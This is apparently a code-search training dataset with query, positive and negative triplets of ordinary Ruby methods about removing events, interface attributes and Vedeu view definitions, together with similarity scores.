"def delete_event(args)\n this_event = get_event_object(args)\n remove_event(this_event)\n end",
"def unregister\n \n @event = Event.find(params[:id])\n #@user = User.find(params[:userid])\n @event.users.delete(@current_user)\n\n # Redirect to the action \"show\"\n redirect_to :action => :show, :id => @event\n # Redirect to the action \"users\"\n # Redirect to /event/1/users for event id 1\n #redirect_to :action => :users, :id => @event\n end",
"def destroy\n @event.destroy\n end",
"def destroy\n @event.destroy\n end",
"def destroy\n @event.destroy\n end",
"def delete_hook(name, hook_function_name)\n @hooks[name] ||= {}\n @hooks[name].delete(hook_function_name)\n end",
"def deregister_application(app_name, namespace)\n end",
"def disconnect(name)\n if connected?(name)\n @node.context.notifications.off([@connected_variables[name], \"remove\"], self)\n end\n @connected_variables.delete(name)\n end",
"def drop_event_trigger(name, options = {})\n sql = 'DROP EVENT TRIGGER '\n sql << 'IF EXISTS ' if options[:if_exists]\n sql << quote_generic(name)\n sql << ' CASCADE' if options[:cascade]\n execute(\"#{sql};\")\n end",
"def remove_callback(callback_name)\n callbacks.delete(callback_name)\n callbacks_queue.delete(callback_name)\n end",
"def remove!(name)\n remove_instance_variable to_ivar(name)\n end",
"def remove(name)\n public_generators.delete(name.to_sym)\n private_generators.delete(name.to_sym)\n end",
"def remove message\n @events.delete message.sequence\n end",
"def delete_label(name)\n @labels.delete(name.to_sym)\n end",
"def remove name, type = nil, &block\n debug \"Runner#remove name:#{name}, type:#{type}\" \n \n batch \"#{name}.#{type}\", \"kill\", true\n batch \"#{name}.#{type}\", \"rm\", true \n unregister_all(/#{name}\\.#{type}\\./)\n end",
"def remove_element(name)\n @element_list.delete_if{|e|\n e.name == name\n }\n end",
"def first_event(name)\n cls = MAPPINGS[name]\n if cls.nil?\n raise ArgumentError, \"Bogus event name #{name}\"\n end\n matching = succeeded_events.find do |event|\n cls === event\n end\n succeeded_events.delete(matching)\n matching\n end"
] | [
"0.7441557",
"0.6746965",
"0.6746965",
"0.67336833",
"0.67336833",
"0.6647178",
"0.66150576",
"0.6588004",
"0.6495706",
"0.6373919",
"0.63577336",
"0.6313051",
"0.6273848",
"0.6216565",
"0.62098235",
"0.619146",
"0.6179944",
"0.61641043",
"0.6109086",
"0.6096646",
"0.60931474",
"0.60758173",
"0.6057973",
"0.6032174",
"0.6030996",
"0.6028744",
"0.5953994",
"0.59240174",
"0.5922059",
"0.592028",
"0.5918032",
"0.5916475",
"0.5915638",
"0.5907091",
"0.58869773",
"0.5881292",
"0.58614886",
"0.585424",
"0.58530784",
"0.5848655",
"0.58366513",
"0.583405",
"0.5816133",
"0.5803279",
"0.5789123",
"0.57596797",
"0.5745171",
"0.57413125",
"0.57182616",
"0.57180846",
"0.5714616",
"0.5714616",
"0.5713111",
"0.5711031",
"0.570686",
"0.5705737",
"0.5700699",
"0.56812644",
"0.5669928",
"0.5661462",
"0.56218374",
"0.56193244",
"0.56192696",
"0.56168413",
"0.56056255",
"0.55916476",
"0.5582107",
"0.5577423",
"0.55762625",
"0.5572309",
"0.55717826",
"0.55690235",
"0.5568284",
"0.5551222",
"0.5542865",
"0.55373955",
"0.55364305",
"0.55364305",
"0.5525619",
"0.5519578",
"0.55102605",
"0.5508883",
"0.55072504",
"0.55069023",
"0.5500606",
"0.55002165",
"0.55002165",
"0.55002165",
"0.54897964",
"0.5486527",
"0.5478831",
"0.5469426",
"0.54405576",
"0.54367954",
"0.54319155",
"0.5421411",
"0.54205054",
"0.54182106",
"0.54144114",
"0.5407276"
] | 0.8343725 | 0 |
Use attributes of another interface whilst defining one. | def use(name)
Vedeu::Interface.new(Vedeu::Interfaces.find(name))
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def initialize(interface1, interface2)\n @interface1 = interface1\n @interface2 = interface2\n end",
"def extended_interfaces; end",
"def interfaces\n @interfaces ||= Interface.coercer(attributes[:interfaces])\n end",
"def included_interfaces; end",
"def interface\n @attributes[:interface]\n end",
"def as(interface_name)\n @expected_options[:as] = interface_name\n self\n end",
"def as(interface_name)\n @expected_options[:as] = interface_name\n self\n end",
"def interfaces=(new_interfaces)\n @structural_interface_type_memberships = []\n @inherited_interface_type_memberships = []\n @clean_inherited_fields = nil\n implements(new_interfaces, inherit: true)\n end",
"def register_attributes\n raise \"Not implemented in #{self.class}\"\n end",
"def interface; end",
"def interface; end",
"def copy_attrs(other)\n (ActsAsArtifact::ARTIFACT_ATTRIBUTES + [:name, :requirement]).each do |attr|\n value = other.instance_variable_get(\"@#{attr}\")\n value = value.dup if value && !value.kind_of?(Numeric) && !value.kind_of?(Symbol)\n instance_variable_set(\"@#{attr}\", value)\n end\n end",
"def interface_decls; end",
"def keep(attribs)\n attribs[:id] = attribs[:network_interface_id]\n super\n end",
"def attributes(*attrs, if: nil, **attrs_with_types)\n if_value = binding.local_variable_get(:if)\n assign_attributes(attrs, if_value)\n assign_attributes_with_types(attrs_with_types, if_value)\n end",
"def interface_methods; end",
"def copy_to(other)\n copyable_attributes.each do |ivar|\n ivar = \"@#{ivar}\"\n other.instance_variable_set(ivar, instance_variable_get(ivar))\n end\n other.docstring = @docstring.to_raw\n other\n end",
"def interface=(_arg0); end",
"def definition_from_attributes\n raise NotImplementedError, \"#{self.class} must implement #definition_from_attributes\"\n end",
"def define_attribute(name, reference = false)\n self.class_eval(\"def #{name};@#{name};end\")\n if reference\n self.class_eval(\"def #{name}=(val);@#{name}=Lobbyist::V2::#{name.camelize}.new(val);end\")\n else\n self.class_eval(\"def #{name}=(val);@#{name}=val;end\")\n end\n end",
"def initialize_attributes(parent, inetwork)\n # Set the parent and interface\n write_attribute(:parent, parent)\n write_attribute(:interface, inetwork)\n\n # Load the interface attributes\n load_interface_attributes(inetwork)\n\n # Clear dirtiness, since this should only be called initially and\n # therefore shouldn't affect dirtiness\n clear_dirty!\n\n # But this is an existing record\n existing_record!\n end",
"def adopt_dependencies\n super if defined? super\n # Get the available attributes from the PageRef\n # Translate what the PageRef is offering into our attributes\n accept_attribute :picurl, page_ref.picurl if page_ref.picurl_ready?\n accept_attribute :title, page_ref.title if page_ref.title_ready?\n accept_attribute :description, page_ref.description if page_ref.description_ready?\n end",
"def interfaces=(new_interfaces)\n new_interfaces.each {|i| i.possible_types << self }\n @interfaces = new_interfaces\n end",
"def attribute(name); end",
"def inherited(child)\n super\n child.attribute_definitions = attribute_definitions.dup\n end",
"def setup_for_all\n\n\tib = InterfaceBuilder2.new\n\tib.add(\to = OptionsMemberBuilder.new(Options).set_builder(ib),\n\t\tr = AttrMemberBuilder.new(Reference,WithOptions,WithReference).set_builder(ib),\n\t\t#it will only create a reference object when it's one of these items.^^\n\t\t#really, I want a reference nearly always.\n\t\tf = AttrMemberBuilder.new(Field),\n\t\ta = ActionMemberBuilder.new(Action,:unname,:say_yes))\n\tib.map(Object,Viewable)\t\n\n\tc = WithOptions.new\n\tviewer = ib.build(c)\nend",
"def update_attr_with_ial(attr, ial); end",
"def attr(name); end",
"def interface; self.class.interface; end",
"def k_interface!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 35 )\n\n\n\n type = K_INTERFACE\n channel = ANTLR3::DEFAULT_CHANNEL\n # - - - - label initialization - - - -\n\n\n # - - - - main rule block - - - -\n # at line 393:4: 'interface'\n match( \"interface\" )\n\n\n\n @state.type = type\n @state.channel = channel\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 35 )\n\n\n end",
"def iiif_manifest_attributes\n super.merge imported_attributes\n end",
"def iiif_manifest_attributes\n super.merge imported_attributes\n end",
"def interface_cache; end",
"def attributes=(_arg0); end",
"def iiif_manifest_attributes\n super.merge iiif_manifest_exhibit\n end",
"def iiif_manifest_attributes\n super.merge iiif_manifest_exhibit\n end",
"def define_attributes\n @info.attributes.each do |attr|\n rname = underscore(attr.name)\n self.class.__send__(:define_method, rname) { self[attr.name] } if attr.readable?\n self.class.__send__(:define_method, rname + \"=\") {|v| self[attr.name] = v } if attr.writable?\n end\n end",
"def define_attribute(name, reference = false)\n self.class_eval(\"def #{name};@#{name};end\")\n if reference\n self.class_eval(\"def #{name}=(val);@#{name}=Lobbyist::#{name.camelize}.new(val);end\")\n else\n self.class_eval(\"def #{name}=(val);@#{name}=val;end\")\n end\n end",
"def interface(name = '', &block)\n API::Interface.define({ name: name }, &block)\n end",
"def update_attr_with_ial(attr, ial)\n ial[:refs]&.each do |ref|\n update_attr_with_ial(attr, ref) if (ref = @alds[ref])\n end\n ial.each do |k, v|\n if k == IAL_CLASS_ATTR\n attr[k] = \"#{attr[k]} #{v}\".lstrip\n elsif k.kind_of?(String)\n attr[k] = v\n end\n end\n end",
"def register(interface)\n InvalidInterfaceError.check(interface)\n \n interfaces[interface.to_s.demodulize.underscore.to_sym] = interface\n end",
"def attribute=(_arg0); end",
"def attribute=(_arg0); end",
"def alias_attribute(new_name, old_name)\n module_eval <<-STR, __FILE__, __LINE__+1\n def #{new_name}; self.#{old_name}; end # def subject; self.title; end\n def #{new_name}?; self.#{old_name}?; end # def subject?; self.title?; end\n def #{new_name}=(v); self.#{old_name} = v; end # def subject=(v); self.title = v; end\n STR\n end",
"def alias_attribute(new_name, old_name)\n module_eval <<-STR, __FILE__, __LINE__ + 1\n def #{new_name}; self.#{old_name}; end # def subject; self.title; end\n def #{new_name}?; self.#{old_name}?; end # def subject?; self.title?; end\n def #{new_name}=(v); self.#{old_name} = v; end # def subject=(v); self.title = v; end\n STR\n end",
"def accessibility; end",
"def assert(attr)\n error = nil\n attr.find do |attr,val|\n next if val.nil?\n error = case attr\n when :exists\n if val\n \"The specified interface does not exist.\" unless exists?\n else\n \"Interface #{name} exists.\" if exists?\n end\n when :enabled\n if val\n \"Interface #{name} is not enabled.\" unless enabled?\n else\n \"Interface #{name} is not disabled.\" if enabled?\n end\n when :name, :device_name\n \"The specified interface does not match\" unless name == val\n when :index, :device_index, :device_number\n \"Interface #{name} is device number #{val}\" unless device_number == val.to_i\n when :hwaddr\n \"Interface #{name} does not match hwaddr #{val}\" unless hwaddr == val\n when :interface_id\n \"Interface #{name} does not have interface id #{val}\" unless interface_id == val\n when :subnet_id\n \"Interface #{name} does not have subnet id #{val}\" unless subnet_id == val\n when :ip, :has_ip\n \"Interface #{name} does not have IP #{val}\" unless has_ip? val\n when :public_ip\n \"Interface #{name} does not have public IP #{val}\" unless public_ips.has_value? val\n when :local_ip, :private_ip\n \"Interface #{name} does not have private IP #{val}\" unless local_ips.include? val\n else\n \"Unknown attribute: #{attr}\"\n end\n end\n raise Errors::UnknownInterface, error if error\n self\n end",
"def attribute name, *attr\n\n # Add the attribute\n _attr = AttributeDefinition.new( name, *attr )\n attribute_definitions << _attr\n\n # Inject object with getter and setter for attribute\n define_setter_and_getter(name, _attr)\n end",
"def attr_set_ub2(attr_type, attr_value)\n #This is a stub, used for indexing\n end",
"def method_missing(method_name, *args, &block)\n return super unless define_attribute_methods\n self.send(method_name, *args, &block)\n end",
"def set_attribute(a,b)\n write_attribute(a,b)\n end",
"def attributes=(*args)\n define_dynamic_answer_setters!\n super(*args)\n end",
"def build_interface\n\t\t\t\t\t{\n\t\t\t\t\t\t\"interfaces_attributes\"\t\t=>\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"new_interfaces\"\t\t=>\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"_destroy\"=>\"false\",\n\t\t\t\t\t\t\t\t\"type\"=>\"Nic::Managed\",\n\t\t\t\t\t\t\t\t\"mac\"=>\"\",\n\t\t\t\t\t\t\t\t\"identifier\"=>\"\",\n\t\t\t\t\t\t\t\t\"name\"=>\"\",\n\t\t\t\t\t\t\t\t\"domain_id\"=>\"\",\n\t\t\t\t\t\t\t\t\"subnet_id\"=>\"\",\n\t\t\t\t\t\t\t\t\"ip\"=>\"\",\n\t\t\t\t\t\t\t\t\"managed\"=>\"1\",\n\t\t\t\t\t\t\t\t\"virtual\"=>\"0\",\n\t\t\t\t\t\t\t\t\"tag\"=>\"\",\n\t\t\t\t\t\t\t\t\"attached_to\"=> self.username\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n return {}\n\t\t\t\tend",
"def define_spira_attr_delegations(ar_name, ar_class)\n extend Forwardable\n\n ar_attr_names = ar_class.attribute_names - properties.keys\n def_delegators ar_name, *ar_attr_names\n end",
"def add_attribute(name, &block); end",
"def add(interface_name)\n model.add(interface_name)\n end",
"def add_accessors_to( packet )\r\n raise NotImplementedError\r\n end",
"def setup_interface_from(container)\n container.elements.each do |elem|\n if elem.identifiable?\n eigenclass.send :define_method, elem.name, lambda { instance_variable_get(\"@#{elem.name}\") }\n eigenclass.send :define_method, \"#{elem.name}=\", lambda {|value| instance_variable_set(\"@#{elem.name}\", value) }\n instance_variable_set(\"@#{elem.name}\", elem.default_value)\n if Surveyor::Sequence === elem\n send(elem.name).send(:setup_interface_from, elem)\n end\n else\n # section elements belongs to section's container, not to section\n setup_interface_from(elem)\n end\n end\n end",
"def set_attribute(name, value); end",
"def attr_writer(sym, *more) end",
"def initialize\n @am = RDoc::Markup::AttributeManager.new\n @output = nil\n end",
"def interface(tag, if_names, address = nil, &block)\n interfaces = [*@interfaces[tag], *if_names].compact.uniq\n raise \"single address, #{address}, given for multiple interfaces, #{interfaces}, on host #{name}\" if interfaces.length > 1 && address\n\n @interfaces[tag] = interfaces\n\n # determine the address for each interface\n interfaces.each do |if_name|\n new_address = \\\n if !address\n if block_given? \n yield(self, if_name)\n else\n if interfaces.length > 1\n \"#{name}_#{tag}_#{if_name}\"\n else\n \"#{name}_#{tag}\"\n end\n end\n else\n address\n end\n @addresses[if_name] = new_address\n end\n\n end",
"def update(is = {}, should = {})\n Puppet.debug(\"Updating interface #{name}\")\n command('conf t')\n command(\"interface #{name}\")\n\n # apply changes in a defined order for cisco IOS devices\n [is.keys, should.keys].flatten.uniq.sort { |a, b| COMMANDS[a][0] <=> COMMANDS[b][0] }.each do |property|\n # Work around for old documentation which shows :native_vlan used for access vlan\n if property == :access_vlan && should[:mode] != :trunk && should[:access_vlan].nil?\n should[:access_vlan] = should[:native_vlan]\n end\n\n Puppet.debug(\"comparing #{property}: #{is[property]} == #{should[property]}\")\n\n # They're equal, so do nothing.\n next if is[property] == should[property]\n\n # We're deleting it\n if should[property] == :absent || should[property].nil?\n execute(property, is[property], 'no ')\n next\n end\n\n # We're replacing an existing value or creating a new one\n execute(property, should[property])\n end\n\n command('exit')\n command('exit')\n end",
"def attribute_method(configuration)\n module_options = self.module_options\n\n lambda do |name, type = Object, options = {}|\n super(name, type, module_options.merge(options))\n end\n end",
"def override\n attributes.override\n end",
"def attr(name, default_value=:undefined)\n other_attrs[name] = Attr.new(name, default_value, @_current_desc)\n @_current_desc = nil\n _define_attr(name)\n end",
"def ajouterInterface( interface )\n\t\t@interface = interface\n\t\[email protected]( self )\n\tend",
"def implements(intf)\n @intfs[intf.name] = intf\n end",
"def allowed_attributes=(_arg0); end",
"def allowed_attributes=(_arg0); end",
"def versioned_interface(interface)\n loaded_interfaces[interface] ||= load_interface(interface)\n end",
"def initialize(interface)\n @interface = interface\n end",
"def alias_attribute(new_name, old_name)\n self.attribute_aliases = attribute_aliases.merge(new_name.to_s => old_name.to_s)\n CodeGenerator.batch(self, __FILE__, __LINE__) do |owner|\n attribute_method_matchers.each do |matcher|\n matcher_new = matcher.method_name(new_name).to_s\n matcher_old = matcher.method_name(old_name).to_s\n define_proxy_call false, owner, matcher_new, matcher_old\n end\n end\n end",
"def members(*interface_names)\n interface_names.each { |name| add(name) }\n end",
"def remove_network_interface_properties\n properties = []\n properties << :SourceDestCheck\n properties << :Tags\n add_patch Patches::RemoveProperty.new 'AWS::EC2::NetworkInterface', properties\n end",
"def attr; end",
"def has_attribute(attribute, attr_def)\n @_attributes ||= superclass.instance_variable_get(:@_attributes).dup\n @_attributes[attribute] = attr_def\n end",
"def update!(**args)\n @attribute_protos = args[:attribute_protos] if args.key?(:attribute_protos)\n end",
"def adopt(other)\n other.stack = @stack\n other.output = @output\n other.variables = @variables\n end",
"def define_attributes(&blk)\n k = Class.new do\n include ControllerDSL\n end\n\n k.new(self).instance_eval(&blk)\n end",
"def update_attributes!(attributes)\n raise NotImplemented\n end",
"def interface=(value)\n Curl.set_option(:interface, value_for(value, :string), handle)\n end",
"def install_attr(attr)\n #Add reader/writer\n inner = code_attr(attr)\n estr = \"class Qml::#{@class}\\n #{inner}\\n end\"\n eval(estr, nil, attr.file, attr.line)\n @cache_load << [:accessor, @class, inner]\n\n name = attr[2]\n\n if(!Special.include? name)\n @init += \"Qml::prop_add(self, #{name.inspect})\\n\"\n end\n end",
"def add_attribute attribute\n return attribute unless @document_self\n\n # mainly to check for redefinition of an attribute as a method\n # TODO find a policy for 'attr_reader :foo' + 'def foo=()'\n register = false\n\n key = nil\n\n if attribute.rw.index 'R' then\n key = attribute.pretty_name\n known = @methods_hash[key]\n\n if known then\n known.comment = attribute.comment if known.comment.empty?\n elsif registered = @methods_hash[attribute.pretty_name + '='] and\n RDoc::Attr === registered then\n registered.rw = 'RW'\n else\n @methods_hash[key] = attribute\n register = true\n end\n end\n\n if attribute.rw.index 'W' then\n key = attribute.pretty_name + '='\n known = @methods_hash[key]\n\n if known then\n known.comment = attribute.comment if known.comment.empty?\n elsif registered = @methods_hash[attribute.pretty_name] and\n RDoc::Attr === registered then\n registered.rw = 'RW'\n else\n @methods_hash[key] = attribute\n register = true\n end\n end\n\n if register then\n attribute.visibility = @visibility\n add_to @attributes, attribute\n resolve_aliases attribute\n end\n\n attribute\n end",
"def define_attributes(*args)\n options = args.extract_options!\n options[:access_level] ||= :public\n # Initialize each attribute\n args.each do |arg|\n self.initialize_attribute(\n Array.wrap(arg),\n options[:access_level]\n )\n end\n\n self.define_attribute_methods(\n args,\n options[:access_level]\n )\n end",
"def is_attribute?; end",
"def method_missing(method, *args, &block)\n @attributes.send(method, *args, &block)\n end",
"def interface(name, &block)\n raise Vedeu::Error::MissingRequired unless name\n raise Vedeu::Error::RequiresBlock unless block_given?\n\n attributes = { client: client(&block), name: name }\n\n interface = Vedeu::Interfaces::Interface\n .build(attributes, &block)\n .store\n\n add_buffers!(name)\n add_cursor!(name)\n add_editor!(name) if interface.editable?\n add_focusable!(name)\n add_keymap!(name)\n\n interface\n end",
"def initialize(attrs)\n @attributes = IdiomaticRubyWrapper(attrs.clone)\n end",
"def initialize(attrs)\n @attributes = IdiomaticRubyWrapper(attrs.clone)\n end",
"def setup_object_attributes; end",
"def assign!(attributes)\n attributes.each { |name, value| self[name] = value }\n rescue NoMethodError => e\n raise Ciesta::FieldNotDefined, \"Field #{e.name} is not specified\"\n end",
"def attribute(_name)\n raise Orocos::NotFound, \"#attribute is not implemented in #{self.class}\"\n end",
"def delegates_attribute_to_open_schema_datum(*attributes)\n\t\t\toptions = attributes.extract_options!\n\t\t\tunless options.is_a?(Hash) && association = options[:to]\n\t\t\t\traise ArgumentError, \"Delegation needs a target. Supply an options hash with a :to key as the last argument (e.g. delegate_attribute :hello, :to => :greeter\"\n\t\t\tend\n\t\t\tprefix = options[:prefix] && \"#{options[:prefix] == true ? association : options[:prefix]}_\"\n\t\t\treflection = reflect_on_association(association)\n\t\t\traise ArgumentError, \"Unknown association #{association}\" unless reflection\n\n\t\t\tif (options.has_key?(:autosave) && options[:autosave] == false) then\n\t\t\t\t#puts \"autosave set to false\"\n\t\t\t\treflection.options[:autosave] = false\n\t\t\telse\n\t\t\t\t#puts \"autosave stays to default (#{reflection.options[:autosave]})\"\n\t\t\tend\n\n\t\t\tif attributes.empty? || attributes.delete(:defaults)\n\t\t\t\tattributes += reflection.klass.column_names - default_rejected_delegate_columns\n\t\t\tend\n\n\t\t\tattributes.each do |attribute|\n\t\t\t\tdelegated_attributes.merge!(\"#{prefix}#{attribute}\" => [association, attribute])\n\n\t\t\t\tif (true) then\n\t\t\t\t\t# Offirmo modif\n\t\t\t\t\t# I don't want the object to be created on read access !\n\t\t\t\t\tdefine_method(\"#{prefix}#{attribute}\") do |*args|\n\t\t\t\t\t\tassociation_object = send(association)\n\t\t\t\t\t\tassociation_object.nil? ? nil : association_object.send(\"#{attribute}\", *args)\n\t\t\t\t\tend\n\t\t\t\t\t# I don't want the object to be created on nil write !\n\t\t\t\t\tdefine_method(\"#{prefix}#{attribute}=\") do |*args|\n\t\t\t\t\t\tassociation_object = send(association)\n\t\t\t\t\t\t#puts \"setter args = \" + args.inspect\n\t\t\t\t\t\tif association_object.nil? then\n\t\t\t\t\t\t\tif args.first.nil? then\n\t\t\t\t\t\t\t\t#puts \"unnecessary creation avoided.\"\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\tassociation_object = send(\"build_#{association}\")\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\t\t\n\t\t\t\t\t\tassociation_object.send(\"#{attribute}=\", *args) unless association_object.nil?\n\t\t\t\t\tend\n\t\t\t\telse\n\t\t\t\t\tATTRIBUTE_SUFFIXES.each do |suffix|\n\t\t\t\t\t\tputs \"define method #{prefix}#{attribute}#{suffix} [association #{association}]...\"\n\t\t\t\t\t\tdefine_method(\"#{prefix}#{attribute}#{suffix}\") do |*args|\n\t\t\t\t\t\t\tassociation_object = send(association) || send(\"build_#{association}\")\n\t\t\t\t\t\t\tassociation_object.send(\"#{attribute}#{suffix}\", *args)\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend # YEJ\n\t\t\tend # adding accessors for every attributes\n\t\tend",
"def method_missing(method, *args, &block)\n @attributes.send(method, *args, &block)\n end",
"def target_isa(isa_module) \n @isa = isa_module\n target.const_set :Isa, @isa\n @abi = @isa.const_get :Abi\n target.const_set :Abi, @abi\n \n define_proxy_class\n define_builder_class\n augment_target\n end",
"def super_attr(name, opts={})\n\t\t\t\t\n\t\t\t\t# Defines getter\n\t\t\t\tdefine_method(\"#{name}\") do\n\t\t\t\t\tinstance_variable_get(\"@#{name}\")\n\t\t\t\tend\n\n\t\t\t\t# Defines setter\n\t\t\t\tdefine_method(\"#{name}=\") do |arg|\n\t\t\t\t\t# If the arg is a kind of opts[:type]\n\t\t\t\t\t# it sets the value, otherwise, it will\n\t\t\t\t\t# raise a StandardError.\n\t\t\t\t\tif arg.is_a? opts[:type]\n\t\t\t\t\t\tinstance_variable_set(\"@#{name}\", arg)\n\t\t\t\t\telse\n\t\t\t\t\t\traise StandardError.new(\"The value for #{name} is not a type #{opts[:type]}\")\n\t\t\t\t\tend\n\t\t\t\tend\n\n\t\t\t\t# If the attribute is required, it will\n\t\t\t\t# push its name to the @@required_attrs array\n\t\t\t\t@@required_attrs << name if opts.has_key?(:required) && opts[:required]\n\n\t\t\tend",
"def override_attr(attr, own_attr_val)\n return own_attr_val if own_attr_val\n award.send(attr) if award\n end",
"def attr(symbol, writable=false) end",
"def attribute(attribute_name, options = T.unsafe(nil), &block); end",
"def update_attributes(attributes)\n raise NotImplemented\n end"
] | [
"0.58755946",
"0.5759022",
"0.5745776",
"0.57397133",
"0.5710328",
"0.569804",
"0.569804",
"0.5682356",
"0.56622773",
"0.5642446",
"0.5642446",
"0.56290156",
"0.5519598",
"0.54572505",
"0.54177654",
"0.5392917",
"0.5373731",
"0.53679764",
"0.53630376",
"0.5357716",
"0.53500515",
"0.5329706",
"0.5326568",
"0.531119",
"0.53059417",
"0.5269957",
"0.525219",
"0.5248754",
"0.5213795",
"0.5203691",
"0.52019453",
"0.52019453",
"0.5186077",
"0.51703835",
"0.5167716",
"0.5167716",
"0.5143127",
"0.5142072",
"0.5139092",
"0.5100048",
"0.5097066",
"0.5088384",
"0.5088384",
"0.50608766",
"0.505283",
"0.5049801",
"0.50483143",
"0.50428987",
"0.503842",
"0.50369555",
"0.50140536",
"0.50118226",
"0.5007837",
"0.50067276",
"0.4995341",
"0.49903765",
"0.49834698",
"0.49743915",
"0.4973804",
"0.49499682",
"0.49475268",
"0.49356687",
"0.49321884",
"0.4929924",
"0.4929686",
"0.49275535",
"0.49233046",
"0.49196813",
"0.49179485",
"0.49179485",
"0.49084657",
"0.4903945",
"0.49039125",
"0.49007386",
"0.48853227",
"0.4879083",
"0.48710206",
"0.48665544",
"0.48641914",
"0.48617125",
"0.48542213",
"0.4854018",
"0.4852747",
"0.48445886",
"0.48437348",
"0.48317143",
"0.48171085",
"0.4804179",
"0.48012745",
"0.48012745",
"0.4797725",
"0.4787571",
"0.4786748",
"0.47866496",
"0.47855884",
"0.478291",
"0.47681737",
"0.47623086",
"0.47614437",
"0.47582573",
"0.47576773"
] | 0.0 | -1 |
Define a view (content) for an interface. | def view(name, &block)
API::Composition.build { view(name, &block) }
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def views(name = nil)\n raise NotImplementedError, \"views is an abstract method\"\n end",
"def define_view\n \t#puts \"#{controller_name}.define_view:begin view=#{@myparams[:view_id]}\"\n \t# views: liste des vues possibles est utilisee dans la view ruby show\n\t\t@views = View.all\n\t\t# view_id: id de la vue selectionnee est utilisee dans la view ruby show\n\t\t#@myparams[:view_id] = @views.first.id if @myparams[:view_id].nil?\n\t\tif @myparams[:view_id].nil?\n\t\t\tif logged_in?\n\t\t\t@myparams[:view_id] = current_user.get_default_view.id\n\t\t\tend\n\t\tend\n\t\t#puts \"#{controller_name}.define_view:end view=#{@myparams[:view_id]}\"\n\tend",
"def on_view(definition, &block)\n on(definition, true, &block)\n end",
"def view(name, opts = {})\n design_doc.create_view(name, opts)\n end",
"def _view; end",
"def view()\n @view\n end",
"def to_view(type)\n if (self.respond_to?(:view_file))\n return ::Base::Render.template(binding(), self.view_file(type))\n else\n return self.render_fields(:to_view, type)\n end\n end",
"def interface(name, &block)\n raise Vedeu::Error::MissingRequired unless name\n raise Vedeu::Error::RequiresBlock unless block_given?\n\n attributes = { client: client(&block), name: name }\n\n interface = Vedeu::Interfaces::Interface\n .build(attributes, &block)\n .store\n\n add_buffers!(name)\n add_cursor!(name)\n add_editor!(name) if interface.editable?\n add_focusable!(name)\n add_keymap!(name)\n\n interface\n end",
"def do_view(packet, mode, *args)\n haml_opts = view_opts(packet, mode, *args)\n orange[:parser].haml(\"#{mode.to_s}.haml\", packet, haml_opts)\n end",
"def interface; end",
"def interface; end",
"def show\n @concrete_interface = SWUI::ConcreteInterface.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @concrete_interface }\n end\n end",
"def create_view()\n raise RuntimeError.new(\"Class #{self.class.name} must implement a ::create_view() method.\")\n end",
"def view(name, &block)\n @views[name] = block\n end",
"def add_view(kind, template)\n id = \"#{kind}.view\"\n transitions = {\n edit: \"#{kind}.update\",\n list: \"#{kind}.list\",\n delete: \"#{kind}.list\",\n }\n add_display(View.new(kind, id, template, transitions))\n end",
"def render(name, **args)\n\t\t\n\t\tif Core::DEBUG\n\t\t\tputs \"Loading view...\"\n\t\tend\n\n\t\tname = Core::VIEW + name\n\n\t\tfilePath = Core::viewPath(name)\n\n\t\tself.loadFile(filePath, \"View\")\n\n\t\t## Will retrieve class constant name for dynamic instanciation\n\t\tviewName = Object.const_get(name)\n\n\t\tview = viewName.new()\n\n\t\t## Force children controller and view\n\t\t## to run parent initialize if overriden.\n\t\tCore::forceParentInit(self)\t\n\t\tCore::forceParentInit(view)\n\n\t\t## Set values sent from previous view in\n\t\t## content of current view.\n\t\targs.each{\n\t\t\t|key, value|\n\t\t\t@content[key.to_s] = value\n\t\t}\n\n\t\tself.setProperties(view)\n\n\t\t## Collect content from controller and send it to view\n\t\tview.controller = self\n\t\tview.controller.run()\n\t\tview.content = @content.clone()\n\n\t\t## Refer controller methods in view for easier\n\t\t## call.\n\t\tself.class.instance_methods(false).each() do |method|\n\t\t\tif !view.class.method_defined?(method)\n\t\t\t\tview.define_singleton_method(method) do |*arguments|\n\t\t\t\t\tself.controller.send(method, *arguments)\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\n\t\t## Will render view with content retrieved in controller\n\t\tview.setInstanceVars()\n\t\tview.run()\n\n\t\tFenetre::css(:priorite => \"PRIORITY_APPLICATION\")\n\n\t\t## Display content builded in view with Gtk\n\t\tview.window.show_all\n\tend",
"def define(design_doc, name, opts = {})\n model = design_doc.model\n\n # Is this an all view?\n if name.to_s == 'all'\n opts[:map] = <<-EOF\n function(doc) {\n if (doc['#{model.model_type_key}'] == '#{model.to_s}') {\n emit(doc._id, null);\n }\n }\n EOF\n elsif !opts[:map]\n if opts[:by].nil? && name.to_s =~ /^by_(.+)/\n opts[:by] = $1.split(/_and_/)\n end\n raise \"View cannot be created without recognised name, :map or :by options\" if opts[:by].nil?\n\n opts[:allow_blank] = opts[:allow_blank].nil? ? true : opts[:allow_blank]\n opts[:guards] ||= []\n opts[:guards].push \"(doc['#{model.model_type_key}'] == '#{model.to_s}')\"\n\n keys = opts[:by].map{|o| \"doc['#{o}']\"}\n emit = keys.length == 1 ? keys.first : \"[#{keys.join(', ')}]\"\n opts[:guards] += keys.map{|k| \"(#{k} != null)\"} unless opts[:allow_nil]\n opts[:guards] += keys.map{|k| \"(#{k} != '')\"} unless opts[:allow_blank]\n opts[:map] = <<-EOF\n function(doc) {\n if (#{opts[:guards].join(' && ')}) {\n emit(#{emit}, 1);\n }\n }\n EOF\n if opts[:reduce].nil?\n # Use built-in sum function by default\n opts[:reduce] = \"_sum\"\n end\n end\n\n if opts[:reduce].is_a?(Symbol)\n # Assume calling a built in method, convert to a string\n opts[:reduce] = \"_#{opts[:reduce]}\"\n end\n\n design_doc['views'] ||= {}\n view = design_doc['views'][name.to_s] = { }\n view['map'] = opts[:map]\n view['reduce'] = opts[:reduce] if opts[:reduce]\n view\n end",
